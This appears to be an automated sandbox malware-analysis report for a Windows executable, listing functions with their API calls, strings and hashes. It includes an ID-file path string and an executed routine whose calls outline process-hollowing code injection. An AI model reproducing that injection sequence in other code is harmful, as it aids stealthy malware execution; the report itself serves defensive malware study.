
Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 06632578e90d35fef5b480ba9d5c501bb3093ece1296134b40e04d124e67501b
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 06632578e90d35fef5b480ba9d5c501bb3093ece1296134b40e04d124e67501b
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 000b75c40abfddb6a773008a46a172c0f10a4fdf0ec02046ba9b93d0a566c0a6
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 000b75c40abfddb6a773008a46a172c0f10a4fdf0ec02046ba9b93d0a566c0a6
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: d807934b8e020453535ed9747e0ec46d28a73b7d1425de7a99b3f0a23d996b97
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: d807934b8e020453535ed9747e0ec46d28a73b7d1425de7a99b3f0a23d996b97
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Analysis Process: 16oApcahEa.exePID: 5068, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 04CE0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04CE0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 04CE016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04CE0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04CE0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04CE0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 04CE029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 04CE02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 04CE02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04CE0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 04CE032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04CE0399
